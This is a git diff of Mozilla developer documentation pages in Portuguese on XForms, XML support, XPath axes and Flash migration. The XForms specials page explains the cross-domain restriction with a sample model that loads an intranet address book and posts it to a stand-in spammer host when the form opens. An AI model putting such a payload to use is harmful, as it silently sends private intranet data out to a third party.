+
+  /**
+   * Retorna verdadeiro se o nó de instância é válido como determinado pelo MDG.
+   */
+  boolean isValid();
+
+  /**
+   * Retorna verdadeiro se o controle é ligado ao nó de instância.
+   */
+  boolean hasBoundNode();
+
+  /**
+   * Retorna o nó de instância ligado.
+   */
+  nsIDOMNode getBoundNode();
+
+  /**
+   * Setar o conteúdo do nó de instância. Se um ForceUpdate é verdadeiro então o
+   * modelo XForms será reconstruído/recalculado/revalidado/renovado.
+   */
+  void setContent(in nsIDOMNode aNode, in boolean aForceUpdate);
+}
+
+

note: setContent() pode ser usado para colocar complexContent (mistura de texto e nós elementares) sob o nó ligado ao controle. Favor verificar os comentários no arquivo fonte .idl para maiores informações sobre como usar este método. +

+

Ligações XBL

+

A maioria dos elementos de controle XForms tem no mínimo duas ligações aplicadas a si mesmas. Uma é a ligação básica que implementa o comportamento do núcleo do controle XForms. A outra é a ligação de impelmentação que adiciona a representação específica da linguagem do host do controle XForms. Um exemplo do mencionado é a ligação que usa um html:input como conteúdo anônimo de um elemento xforms:input quando este é hospedado num documento XHTML. +

Nossa extenção XForms usa o seguinte formato para nomes de arquivos. O nome do arquivo onde são localizadas as ligações básicas de um controle é controlfile.xml. controlfile-xhtml.xml contém as ligações de implementação XHTML para o controle e controlfile-xul.xml contém as ligações de implementação quando este controle é hospedado num documento XUL. A seguinte lista mostra onde estão definidas as ligações básicas de nosso controle XForms: +

+ +

xforms.xml também define as poucas ligações básicas comuns para todos os controles XForms. Estes são: +

+ +

Você está livre em escolher qual tipo de ligação para seu controle customizado fornecerá à fundação. Normalmente será uma das ligações de implementação ou uma das básicas. +

+

Exemplo

+

Uma coleção de exemplos de controles customizados pode ser encontrada em XForms:Custom Controls Examples, e você também pode ver os blogs "Compreendendo XForms: Customização". +

Aqui está um exemplo completo que define um novo controle de saída que carrega seu valor como uma imagen. Ele está ligado a <xf:output mediatype="image/*"/> imitando o atual XForms 1.1 draft: +

+
<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml"
+      xmlns:xf="http://www.w3.org/2002/xforms">
+  <head>
+    <title>Custom Image Control Sample</title>
+
+    <bindings id="xformsBindings"
+	      xmlns="http://www.mozilla.org/xbl"
+	      xmlns:html="http://www.w3.org/1999/xhtml">
+
+      <binding id="output-image"
+	       extends="chrome://xforms/content/xforms.xml#xformswidget-base">
+	<content>
+	  <html:div>
+	    <html:img anonid="content"/>
+	  </html:div>
+	</content>
+
+	<implementation implements="nsIXFormsUIWidget">
+	  <method name="refresh">
+	    <body>
+              <!--
+                set the src attribute on the html:img to be the simpleContent
+                of the instance node bound to this control
+              -->
+	      var img = document.getAnonymousElementByAttribute(this, "anonid", "content");
+	      img.setAttribute("src", this.stringValue);
+	      return true;
+	    </body>
+	  </method>
+	</implementation>
+      </binding>
+    </bindings>
+
+    <xf:model>
+      <xf:instance xmlns="">
+	<data>
+	  <curimg></curimg>
+	  <img label="Firefox">http://www.mozilla.com/images/firefox-logo-64x64.png</img>
+	  <img label="Thunderbird">http://www.mozilla.com/images/thunderbird-logo-64x64.png</img>
+	  <img label="Bugzilla">http://www.mozilla.org/images/p-bugz.gif</img>
+	  <img label="Mozilla">http://www.mozilla.org/images/mozhead-80x64.gif</img>
+	</data>
+      </xf:instance>
+    </xf:model>
+
+    <style type="text/css">
+      @namespace xf url(http://www.w3.org/2002/xforms);
+
+      xf|output[mediatype="image/*"] {
+        -moz-binding: url('#output-image');
+      }
+    </style>
+  </head>
+  <body>
+    <h1>Custom Control Sample</h1>
+
+    <xf:select1 ref="curimg">
+      <xf:label>Select image to display: </xf:label>
+      <xf:itemset nodeset="../img">
+	<xf:label ref="@label"/>
+	<xf:value ref="."/>
+      </xf:itemset>
+    </xf:select1>
+
+    <xf:output ref="curimg" mediatype="image/*"/>
+
+  </body>
+</html>
+
+

Categorias +

Interwiki links de idiomaspt-br:XForms:Controles Customizados +

{{ languages( { "en": "en/XForms/Custom_Controls" } ) }} diff --git a/files/pt-pt/orphaned/xforms/index.html b/files/pt-pt/orphaned/xforms/index.html new file mode 100644 index 0000000000..39fbfd6df3 --- /dev/null +++ b/files/pt-pt/orphaned/xforms/index.html @@ -0,0 +1,68 @@ +--- +title: XForms +slug: XForms +tags: + - XForms +--- +

+

+
XForms Essentials
+An online book giving you a guided tour of XForms.
+


+

+
XForms is the future of online forms as envisioned by the W3C. Drawing on other W3C standards like XML Schema, XPath, and XML Events, XForms tries to address some of the limitations with the current HTML forms model. Other strengths that XForms brings to the table is the separation of data from presentation, strong data typing, the ability to submit XML data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices. XForms is a W3C specification.
+
XForms Tutorial and Cookbook
+XForms in Wikibook Format - Over 50 examples tested with FireFox.
+
+

XForms support can be added to Firefox and SeaMonkey by installing the Mozilla XForms Extension. +

+
+ + +
+

Documentation

+
Troubleshooting tips for XForms +
A small collection of tips for troubleshooting common problems with XForms forms. +
+
Mozilla XForms specials +
Explains where, and how, Mozilla XForms deviates or extends the XForms 1.0 specification. +
+
XForms custom controls +
Custom controls lets the form author "skin" each XForms control through XBL, and create f.x. an SVG input control. +
+
XForms user preferences +
A description of the about:config variables that XForms uses. +
+
XForms API reference +
XForms interfaces documentation. +
+
XForms UI Elements reference +
XForms user interface elements documentation. +
+

View All... +

+
+

Community

+
  • View Mozilla forums... +
+

{{ DiscussionList("dev-tech-xforms", "mozilla.dev.tech.xforms") }} +

+ +

Tools

+ +

View All... +

+ +
Extensions, HTML, XHTML, XML, XPath +
+
+

Categories +

Interwiki Language Links +


+

{{ languages( { "fr": "fr/XForms", "it": "it/XForms", "ja": "ja/XForms", "pl": "pl/XForms", "es": "es/XForms" } ) }} diff --git a/files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html b/files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html new file mode 100644 index 0000000000..9e931bd696 --- /dev/null +++ b/files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html @@ -0,0 +1,92 @@ +--- +title: Mozilla XForms Specials +slug: XForms_especiais_para_Mozilla +tags: + - XForms +--- +

+

Introdução

+

Este artigo fornece um resumo onde Extensões Mozilla XForms desvia XForms 1.0 Especificação oficial . Este artigo cobre tanto limitações nas extensões como extensões customizadas. +

+

Limitações

+

Repetição usando atributos

+

De acordo com a especificação "Criando estruturas de repetição através de atributos", isto é parcialmente suportado. +

(limitação acompanhada no {{ Bug(280368) }}) +

+

Mistura de Repetição e table ou ul

+

Não é possível misturar repetições tanto com table ou ul. Isto significa que não é possível fazer o seguinte: +

+
+
<table>
+  <xf:repeat ...>
+    <tr> ... </tr>
+  </xf:repeat>
+</table>
+
+
+

ou +

+
+
<ul>
+  <xf:repeat ...>
+    <li> ... </li>
+  </xf:repeat>
+</ul>
+
+
+

Section 9.3.2 determina que a mistura com table provávelmente nunca funcionará. A mistura com ul pode sofrer a mesma limitação mas não deve travar o sistema ({{ Bug(330022) }}). +

+

Suporte a pseudo classes

+

Atualmente suportamos todas as pseudo classes em XForms (:enabled, :disabled, etc. ), exceto para :read-only e :read-write, por causa de comportamento não especificado destes para (X)HTML. No momento precisa usar :-moz-read-only e :-moz-read-write. +

(limitação acompanhada no {{ Bug(313111) }}) +

+

Suporte a pseudo elemento

+

Não existe suporte para os pseudo elementos (::value, ::repeat-item, e ::repeat-index ). Você deve usar as seguintes classes normais: +

+ +

Por exemplo, para direcionar o elemento valor de um controle input use: +

+
@namespace xf url("http://www.w3.org/2002/xforms");
+xf|input .xf-value {
+  ...
+}
+
+

Os pseudo elementos são definidos na CSS3 Especificação básica de usuário . +

(limitação acompanhada no {{ Bug(271724) }}) +

+

Extensões

+

Enumerando Instâncias

+

O nsIXFormsModelElement standardizado não permite enumerar todas as instâncias possíveis mas somente chamar instâncias pelo seu nome. No Extensões Mozilla XForms adicionamos a função getInstanceDocuments() ao model que retorna todos os documentos de instância do modelo. Isto encontra-se documentado no nsIXFormsNSModelElement. +

+

Chegando ao elemento de instância a partir de um nó de dados

+

Na especificação XForms 1.0 não existe caminho de chegar ao elemento instance desde um nó de dados de instância. Adicionamos uma função através de chamado getFeature() em cada nó, que permite o autor do formulário a fazê-lo. Isto é, se instanceNode é um nó num documento de instância, então: +

+
instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
+
+

retornará elemento <instance> (no documento principal) ao que o nó pertence. +

+

Chegando ao documento de instância através do elemento de instância

+

Pela especificação XForms 1.0 deve passar pelo elemento model para chegar ao documento de instância. Parece um pouco desajeitado se você tem o elemento instance, então nós adicionamos uma função getInstanceDocument() diretamente no elemento instance como um atalho. Isso está documentado em nsIXFormsNSInstanceElement. +

+

Interface de controle customizada

+

Nós adicinamos muitas funcionalidades à nossa interface de usuário que permitem aos tipos de autores criarem controles customizados. Isto envolve a exposição de algumas funcionalidades (script) em todos nossos controles, como output, input, etc. e permitindo à interface de usuário ser representada em XBL. Mais informação pode ser encontrada em Controles Customizados. +

+

Miscelânea

+

Submissão de Domínio Cruzado

+

Não é exatamente uma limitação, ou uma extensão, mas é válido mencionar aqui. Por razões de segurança, não é possível por padrão para um XForms aceitar dados de outro domínio. Isto é devido a razões de segurança.  Informações sobre como o domínio whitelist pode ser encontrado em Release Notes

+

A checagem de domínio cruzado também inclui formulários carregados de file://. Formulários carregados desta URL devem ser arquivos locais, e assim confiáveis, mas este não é sempre o caso. Então não há um "whitelisting" de arquivos locais automático.

+

Se você está espantado com o porque de termos esta restrição, aqui está um simples exemplo do porque:

+
<xforms:model>
+  <xforms:instance src="http://intranetserver/addrbook.xml"/>
+  <xforms:submission id="sub" action="http://megaspammer.com/gather"
+                     method="post"/>
+  <xforms:send submission="sub" ev:event="xforms-ready"/>
+</xforms:model>
+
+

This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the XForm.

+

Categorias

+

Interwiki Language Links

+

{{ languages( { "en": "en/XForms/Mozilla_XForms_Specials" } ) }}

diff --git a/files/pt-pt/orphaned/xml_no_mozilla/index.html b/files/pt-pt/orphaned/xml_no_mozilla/index.html new file mode 100644 index 0000000000..738750a5f9 --- /dev/null +++ b/files/pt-pt/orphaned/xml_no_mozilla/index.html @@ -0,0 +1,236 @@ +--- +title: XML no Mozilla +slug: XML_no_Mozilla +tags: + - PrecisaDeAtualização + - PrecisaDeRevisãoTécnica + - Todas_as_Categorias + - XML +--- +

+

O Mozilla tem amplo suporte ao XML. Várias Recomendações World Wide Web Consortium (W3C) e esboços de especificações da família XML são suportados, assim como outras tecnologias relacionadas. +

+
+

Esta página está desatualizada. Por favor ajude atualizando-a com informações atuais. +

+
+

Recomendações suportadas pelo núcleo XML W3C

+

O núcleo do suporte XML inclui analizar o XML sem a validação (nós utilizamos o Expat parser), indicando o XML com CSS, manipulando documentos XML com scripts via DOM, associando estilos com documentos XML, e namespaces em XML. O núcleo de suporte é muito bom para poucos bugs. +

+

DTDs e outras Entidades Externas

+

O Mozilla não carrega entidades externas da web.

Ele pode carregar as entidades externas cujo o identificador do sistema usa o protocolo chrome. Esta característica é principalmente usada para localizar diferentes idiomas (as strings da interface de usuário são armazenadas em arquivos DTD externos). Uma outra exceção é uma entidade cujo o identificador do sistema seja um path relativo, e a declaração do XML indica que o documento não é autônomo(padrão), em cada caso, o Mozilla tentará procurar a entidade sob o diretório <tt><bin>/res/dtd</tt>.

O Mozilla pode também gerar uma exceção com documentos XHTML, veja abaixo. +

Ele tentará ler um subconjunto DTD interno, ou externo como explicado acima, e tentará usar essa informação para reconhecer o ID do tipo do atributo, valores dos atributos padrão e entidades gerais. +

+

Outras Notas

+

Muito do Document Object Model (DOM, W3C) aplica-se para XML. Do mesmo modo, a folhas de estilos (CSS) (CSS, W3C) podem ser usado para documentos XML. +

O código para a maioria do núcleo XML pode ser encontrado nos seguintes diretórios no servidor Mozilla CVS: content/xml/, parser/expat/ e parser/htmlparser. +

O grupo de notícias para discução de XML no Mozilla depende um pouco, da natureza da pergunta. +Por exemplo, questões relacionadas a DOM pode ser discutida provavelmente em mozilla.dev.tech.dom newsgroup, enquanto os estilo devem ser discutidos em mozilla.dev.tech.css e assim por diante. Para ter todas os grupos de notícias em XML é mozilla.dev.tech.xml. +

+ + + + + + + + + + + + +
Especificações ou tecnologia +Status e/ou informãções adicionais +
XML +W3C Recommendation +
Namespaces em XML +W3C Recommendation +
Associando Estilos Com Documentos XML +W3C Recommendation +
Estilizando documentos XML com CSS + +
Manipulação de Documentos XML com scripts atrávez de DOM + +
+

Otras Recomendações Suportadadas pela W3C para XML

+ + + + + + + + + + + + + + + + + + + + + + +
Especificações ou Tecnologia +Documentação +
XHTML +W3C +
XML Base (somente links, não use para :visited etc. propriedades CSS) +W3C +
XLink (somentes simples XLinks) +W3C +
FIXptr +W3C "proposal" +
XPointer Framework +W3C +
XPointer element() +W3C +
XPointer xmlns() +W3C +
XPointer fixptr() +Somente um envoltório FIXptr +
XPointer xpath1() +Internet-Draft +
document.load(), document.async +Part do DOM Level 3 Load & Save módulo, um esboço W3C +
+

XHTML

+

Nós temos um suporte XHTML razoável, muitas coisas devem ser trabalhadas. Tratamos os arquivos XHTML diferentemente, dependendo do mime type (ou o sufixo do arquivo, caso ele tenha sido carregado localmente). Arquivos que são do caminho do código HTML não são checados para ver se estão bem formatados. Você verá também que nem todas as características do XHTML são suportadas quando você exercita o caminho do código HTML. +

+ + + + + + +
MIME Type +Extensão do Arquivo +Caminho do Código +
text/xml
application/xml
application/xhtml+xml +
xml
xht
xhtml +
XML +
text/html +html
htm +
HTML +
+

O documento inteiro não precisa ser um XHTML. Você pode usar elementos XHTML dentro de um documento XML arbitrário por usar namespace XHTML. Veja a sessão Testing and QA por exemplo. O namespace XHTML correto é http://www.w3.org/1999/xhtml +

Note que as entidades XHTML, como &auml;, Trabalham somente em conformidade com documentos XHTML que tenham um Formal Public Identifier (ou em outras palavras, uma sessão DOCTYPE com um identificador PUBLIC). Entidades XHTML não trabalham com documentos XML arbitrátios, mesmo se o namespace XHTML está sendo usado. Os identificadores públicos que são reconhecidos são: +

+
-//W3C//DTD XHTML 1.0 Transitional//EN
+-//W3C//DTD XHTML 1.1//EN
+-//W3C//DTD XHTML 1.0 Strict//EN
+-//W3C//DTD XHTML 1.0 Frameset//EN
+-//W3C//DTD XHTML Basic 1.0//EN
+-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN
+-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN
+-//W3C//DTD SVG 20001102//EN
+-//WAPFORUM//DTD XHTML Mobile 1.0//EN
+
+

XML Linking e Pointing

+

O suporte a XML Linking inclui XML Base (usado somente quando você move o cursor sobre um link ou clica em um link) e simples XLinks. Você pode colocar qualquer elemento XML em um XLink usando o XLink namespace http://www.w3.org/1999/xlink. Você pode também usar os elementos de linking do XHTML namespace. Veja a sessão Testing and QA para amostras. +

Para pointing em recursos nos documentos XML, Mozilla também suporta FIXptr, uma versão simplificada e não-compatível do XPointer. Em adição ao uso do FIXptr em links, é possível usá-lo a partir de scripts. Veja a interface proprietária dom/public/idl/core/nsIDOMXMLDocument.idl. Há um caso de exemplo para FIXptr links e um exemplo de scripting. +

Desde 1.4 alpha, Mozilla também suporta XPointer Framework, esquema XPointer element(), esquema XPointer xmlns(), esquema XPointer fixptr() e esquema XPointer xpath1(). O processador XPointer é extensível e é fácil de implementar suporte para outros esquemas - dê uma olhada em API. O esquema xpath1() foi implementado usando este mecanismo extensível. Há também uma API proprietária de <i>scripts</i> para o processador XPointer. Há um caso de exemplo para XPointers que você também pode estudar. +

Por último, há uma preferência que você talvez queira testar (especialmente útil com FIXptr) que selecionará a área de alvo do link quando você atravessá-la. Não ná interface de usuário para configurar esta preferência ainda, então você precisará editar o arquivo de preferências manualmente. Adicione esta linha: +

+
pref("layout.selectanchor", true);
+
+

Métodos de carregamento e salvamento do DOM

+

document.load() é uma parte de uma antiga versão do DOM Level 3 Load & Save module do W3C. O Mozilla atualmente implementa somente o método load() e a propriedade async. Desde 1.4 alpha é possível carregar documentos sincronicamente, antes só era possível de maneira assíncrona. Veja a amostra de carregamento no diretório de textes XML. (Carregando o arquivo load.html da página LXR gerada não trabalhará, pois o LXR converterá o arquivo test.xml em HTML e servirá como HTML. Para testar esta funcionalidade, crie os arquivos no seu disco local ou em um servidor web.) +

+

Recomendações XML externas ao suporte W3C

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Especificação ou Tecnologia +Documentação +Projeto Mozilla +
XSLT +Recomendação W3C +XSLT +
XPath +Recomendação W3C +XSLT +
XMLHttpRequest +Esboços W3C +Extras XML +
DOMParser e XMLSerializer +Mozilla +Extras XML +
SAX +http://www.saxproject.org/ + +
SOAP +Nota W3C +Serviços Web +
XML-RPC +UserLand Software +XML-RPC +
RDF +Recomendações W3C +RDF +
SVG +Recomendações Propostas W3C +SVG +
MathML +Recomendações W3C +MathML +
P3P +Recomendações W3C +P3P +
WSDL +Nota W3C +Serviços Web +
XBL +Referência XBL do Mozilla + +
XUL +Referência XUL do Mozilla + +
+

Roadmap

+

As próximas grandes tarefas incluem o suporte para o esquema XPointer xpointer() (bug 32832), XInclude (bug 201754), XML Catalogs (bug 98413), XForms (bug 97806; o trabalho está sendo feito na implementação desde como extensão), análise de validação (bug 196355),Esquemas XML, e incremento da disposição do documento XML (bug 18333). +

Para a completa implementação do XLink, nós precisamos de um gerenciador de links. Veja alguns documentos de design iniciais. +

+

Testes e Garantia de Qualidade

+

Nós temos muitos casos de teste linkados à página de garantia de qualidade dae conformidade de padrões de navegador. +

A maioria dos principais documentos de teste XML no servidor CVS estão localizados em content/xml/tests. Nós temos também um par online: os livros demonstrações e a tabela de conteúdos de demonstração de IRS. Ambos demonstram XML, Associação de folhas de estilo ao XML, exibição de XML com CSS, Namespaces em XML, XLinks simples e manipulação do XML com scripts via DOM. +

Há um componente XML em Bugzilla. +

Nós também temos a palavra-chave "xhtml" para erros XHTML (estes tendem a ser dispersados através de componentes). +

+

Como eu posso ajudar?

+

Se você pode programar, procure a palavra-chave helpwanted em erros XML. Nós não usamos isto sempre, então se você deseja evitar fazer trabalho duplicado você pode começar trabalhando em erros que tem futuros milestones, ou outro milestone que esteja definido bem para o futuro. +

Você pode sempre testar nosso suporte XML. Nós realmente gostaríamos de pegar testes que podem rodar automaticamente (isto pode requerer conhecimento em desenvolvimento web; document.load() e/ou Extras XML poderão ser necessários), mas provavelmente a maioria dos erros que tenhamos acabado de encontrar são por pessoas normais tentando fazer alguma coisa que funcione em alguns navegadores e não funciona no Mozilla. +

Categorias +

Interwiki Language Links +

diff --git a/files/pt-pt/orphaned/xpath/eixos/index.html b/files/pt-pt/orphaned/xpath/eixos/index.html new file mode 100644 index 0000000000..2556889341 --- /dev/null +++ b/files/pt-pt/orphaned/xpath/eixos/index.html @@ -0,0 +1,44 @@ +--- +title: Eixos +slug: XPath/Eixos +tags: + - Referência_XPath + - Todas_as_Categorias + - XPath +--- +

+{{ XsltRef() }} +Existem trez diferentes eixos na especificação XPath. Um eixo representa o relacionamento ao contexto do nó e é usado para localizar nós relativos àquele nó na árvore. O que segue é uma estremamente breve descrição dos trezes eixos disponíveis e o grau de suporte disponível em Gecko. +

Para leitura adicional sobre utilização de expressões XPath, por favor veja a seção Para leitura adicional no fim do documento Transformar XML com XSLT. +


+

+
ancestor +
Indica todos os antecessores do nó de contexto, começando com o nó-pai e transpassando ao nó-raiz. +
ancestor-or-self +
Indica o nó de contexto e todos os seus antecessores, incluindo o nó-raiz. +
attribute +
Indica atributos do nó de contexto. Somente elementos têm atributos. Este eixo pode ser abreviado com o sinal (@). +
child +
Indica o filho do nó de contexto. Se uma expressão XPath não especifica um eixo, é etendido por padrão. Somente o nó-raiz ou nós de elemento tem filhos, qualquer outro não selecionará nada. +
descendant +
Indica todos os filhos do nó de contexto e todos os seus filhos, e assim por diante. Os nós de atributo e namespace não estão incluídos — o parent de um nó de attribute é um nó de elemento, mas nós attribute não são filhos de seus pais. +
descendant-or-self +
Indica o nó de contexto e todos os seus descendentes. Os nós de atributo e namepace não são incluídos dos seus pais. +
following +
Indica todos os nós que aparecem depois do nó de contexto, exceto qualquer nó descendant, attribute, e namespace. +
following-sibling +
Indica todos os nós que tenham como mesmo pai o nó de contexto e apareçam depois do nó de contexto no código do documento. +
namespace (não suportado) +
Indica todos os nós que estão ao alcançe do nó de contexto. Neste caso, o nó de contexto deve ser um nó-elemento. +
parent +
Indica os nós singulares que são pais do nó de contexto. Isto pode ser abreviado em dois períodos (..). +
preceding +
Indica todos os nós que precedem o nó de contexto no documento, exeto nós ancestor, attribute e namespace. +
preceding-sibling +
Indica todos os nós que tem como pai o nó de contexto e aparecem antes do nó de contexto no código do documento. +
self +
Indica o próprio nó de contexto. Isto pode ser abreviado em um período simples (.). +
+

Categorias +

Interwiki Language Links +

{{ languages( { "en": "en/XPath/Axes", "es": "es/XPath/Ejes", "fr": "fr/XPath/Axes", "pl": "pl/XPath/Osie" } ) }} diff --git "a/files/pt-pt/orphaned/xpath/fun\303\247\303\265es/index.html" "b/files/pt-pt/orphaned/xpath/fun\303\247\303\265es/index.html" new file mode 100644 index 0000000000..0704cf3f14 --- /dev/null +++ "b/files/pt-pt/orphaned/xpath/fun\303\247\303\265es/index.html" @@ -0,0 +1,47 @@ +--- +title: Funções +slug: XPath/Funções +tags: + - Referência_XPath + - Todas_as_Categorias + - XPath +--- +

+{{ XsltRef() }} +A seguinte lista é uma lista de anotações das funções do XPath e XSLT — adições específicas para o XPath, incluindo uma descrição, sintaxe, uma lista de argumentos, tipo de resultados, código na recomendação apropriada W3C, e suporte presente Gecko. Para informações adicionais sobre utilização das funções do XPath/XSLT, por favor veja a página:. +

+ +

Categorias +

Interwiki Language Links +

{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "en": "en/XPath/Functions", "fr": "fr/XPath/Fonctions", "pl": "pl/XPath/Funkcje" } ) }} diff --git a/files/pt-pt/plugins/ativacao_de_flash_colon__comparacao_de_navegador/index.html b/files/pt-pt/plugins/ativacao_de_flash_colon__comparacao_de_navegador/index.html deleted file mode 100644 index e804f3a3f9..0000000000 --- a/files/pt-pt/plugins/ativacao_de_flash_colon__comparacao_de_navegador/index.html +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: 'Ativação de Flash: Comparação de Navegador' -slug: 'Plugins/Ativacao_de_Flash:_comparacao_de_navegador' -tags: - - Como - - Flash - - Principiante - - compatibilidade de navegador -translation_of: 'Plugins/Flash_Activation:_Browser_Comparison' ---- -

Cada um dos principais navegadores implementou uma funcionalidade onde o conteúdo do Adobe Flash não é executado por predefinição, mas cada um dos navegadores implementou essa funcionalidade e a interface do utilizador de maneiras ligeiramente diferentes. Este guia irá ajudar a descrever as semelhanças e as diferenças entre os navegadores, para que os programadores da Web possam oferecer a melhor experiência ao utilizador. Está disponível outro guia para assistir os autores do site da Web em migrating away from Flash.

- -

In each browser, the decision to enable Flash is made by users on a per-site basis. When a site attempts to use Flash, the browser will prompt the user in some way and give the user an opportunity to enable Flash for that site. Flash-blocking extensions are no longer necessary because this functionality is now built into the browser.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Mozilla FirefoxGoogle ChromeMicrosoft Edge
Setting NameAsk to activateHTML5 by defaultClick-to-run
'application/x-shockwave-flash' in navigator.mimeTypes by default when Flash is inactiveyesnono
'application/x-shockwave-flash' in navigator.mimeTypes when user enables Flashyesyesyes
<object> with fallback content triggers UIyes, with exceptionsnoyes
small/hidden Flash triggers additional UIyesnono
Enabling Flash automatically reloads the pagenoyesyes
Other features related to FlashDomain BlockingPlugin Power SaverPeripheral Content Pause
- -

Each of the browser vendors has a roadmap about the future of Flash and changes to the user experience. The Firefox Flash roadmap includes links to roadmaps and posts from other vendors.

- -

Caomparação da IU

- -

Mozilla Firefox

- -

In-page UI is displayed when the site attempts to use Flash. An icon also appears on the left side of the location bar. The user can click on the Flash object or the location bar icon to activate Flash:

- -

- -

Users have the choice to allow Flash just for the current session, or to remember their choice:

- -

- -

Google Chrome

- -

In-page UI is displayed when the site attempts to use Flash without fallback content:

- -

- -

A user can click the plugin element to show a prompt for allowing Flash:

- -

- -

If the site provides fallback content for an object element, Chrome will display that content and will not prompt the user to enable Flash. If a Flash element is not visible to the user, the user will not get a visible prompt.

- -

A user can click the information icon on the left side of the location bar on any site to open the site information and allow Flash on that site:

- -

- -

Microsoft Edge

- -

In-page UI is displayed when the site attempts to use Flash. An icon also appears on the right side of the location bar. The user can click the Flash object to show activation options:

- -

- -

Users have the choice to allow Flash just for the current session, or to remember their choice:

- -

- -

Dicas de Elaboração do Site

- -

If a Flash element is very small, hidden, or covered by other content, users will probably not notice that Flash is required and will become confused. Even if the plugin element will eventually be hidden, pages should create the plugin element so that it's visible on the page, and should resize or hide it only after the user has activated the plugin. This can be done by calling a JavaScript function when the plugin is activated:

- -
function pluginCreated() {
-  // We don't need to see the plugin, so hide it by resizing
-  var plugin = document.getElementById('myPlugin');
-  plugin.height = 0;
-  plugin.width = 0;
-  plugin.callPluginMethod();
-}
- -

The HTML, by default, specifies the Flash object to be a size that makes it visible, like this:

- -
<!-- Give the plugin an initial size so it is visible -->
-<object type="application/x-shockwave-flash" data="myapp.swf"
-      id="myPlugin" width="300" height="300">
-  <param name="callback" value="pluginCreated()">
-</object>
- -

The callback parameter defined in the HTML can be called in Flash using its flash.external.ExternalInterface API.

- -

Utilizar um callback de script para determinar quando um plug-in é ativado

- -

Similarly, a site's script shouldn't attempt to script a plugin immediately upon creation. Instead, the plugin object should call into a JavaScript function upon creation. That function can then issue the call into the plugin, knowing that everything is set up and ready to go.

- -

First, set your up your HTML with a callback that calls the JavaScript function pluginCreated(), like this:

- -
<object type="application/x-my-plugin" data="somedata.mytype" id="myPlugin">
-  <param name="callback" value="pluginCreated()">
-</object>
- -

The pluginCreated() function is then responsible for the setup of your script and any calls back into the plugin that you need to make:

- -
function pluginCreated() {
-  document.getElementById('myPlugin').callPluginMethod();
-}
diff --git a/files/pt-pt/plugins/flash_para_html5/index.html b/files/pt-pt/plugins/flash_para_html5/index.html deleted file mode 100644 index b17f365038..0000000000 --- a/files/pt-pt/plugins/flash_para_html5/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Guia de migração de Flash para HTML5 -slug: Plugins/Flash_para_HTML5 -tags: - - Complementos - - Flash - - HTML5 - - Jogos - - Plug-ins - - Publicidade - - Sockets - - Video - - anuncios - - Área de transferência -translation_of: Plugins/Flash_to_HTML5 ---- -

Este conjunto de artigos fornece informação sobre como migrar o conteúdo e a funcionalidade do Flash existente para HTML e JavaScript.

- -

Background

- -

Flash became very popular in the late 1990s to early 2000s because it provided an effective way to create rich content on the web — such as animations, games, and video players. However, it has a number of issues; the Flash Player causes security and performance problems, and leads to bloated pages. In addition, the modern web platform has feature parity with Flash, so you no longer need to rely on plugins to implement rich content.

- -

Browsers are working together to move carefully towards a plugin-free web (see our Plugin Roadmap), so developers should start migrating their Flash-based functionality to open web technologies as soon as possible.

- -
-
-

Vídeo

- -

All you need to know to move your video requirements over from Flash to HTML5 (see the Flash video to HTML5 video landing page also).

- -

Planeamento

- -
-
Planning your transition from Flash video to HTML5 video
-
Transitioning from Flash to HTML5 can take several months and may require new skills and software. This guide shows you how to plan for that transition, and contains two main parts, Content audit and Decision points.
-
- -

Processo

- -
-
File format conversion
-
Once you've planned out what you want to do, the first step is to convert your video files into formats compatible with HTML embedding.
-
DRM and authentication
-
If your media requires authentication/rights to access, you'll need to work out how to hook up the necessary DRM and authentication mechanisms.
-
Video advertising
-
You may also want to incorporate advertising into your video delivery system, via an ad network.
-
Distribution
-
A CDN is a popular choice for effective delivery of media content.
-
Video and audio players
-
There are a number of ways to play back web media depending on the scale of your needs and whether you need ad integration and digital rights management.
-
Subtitles and captions
-
Just as audio and video may need transcoding for the web, subtitles and captions may also need to be converted and made available.
-
-
- -
-

Outros tópicos

- -

Other common Flash use cases that should now be migrated to HTML5.

- -
-
Open web games
-
Flash games used to be very common, but the open web is now a viable platform for creating and distibuting games.
-
Real-time apps with WebSockets
-
Flash TCP sockets have been commonly used to create real-time multiuser apps such as chat apps, but they can be replaced with WebSockets.
-
Clipboard access
-
Flash's clipboard API used to be the only available means for creating advanced clipboard functionality, but this is now available in web standards.
-
Content and advertising visibility with Intersection Observer
-
Flash used to be a simple but slow way to detect content and advertising visibility on the page. The web platfom now has the Intersection Observer API to do this better and faster.
-
Flexible user interfaces with CSS
-
Adobe Flex used to provide a way to effectively create flexible user interfaces on the web, but the open web platform now boasts powerful CSS layout systems like Grid and Flexbox to close the gap.
-
Camera/Microphone access with WebRTC
-
Developers used to rely exclusively on Flash for accessing the user's camera and microphone, but this can now be achieved with WebRTC and related technologies. See also Media Capture and Streams API and getUserMedia for useful starting points.
-
File selection using the File API
-
The web platform has functionality accessing files on the user's file system, e.g. for upload or display. See <input type="file"> and Using files from web applications for useful resources.
-
-
-
- -

Obter ajuda

- -

If you find that our migration guide leaves you with any questions unanswered, please don't hesitate to visit our MDN Discourse page and ask them there.

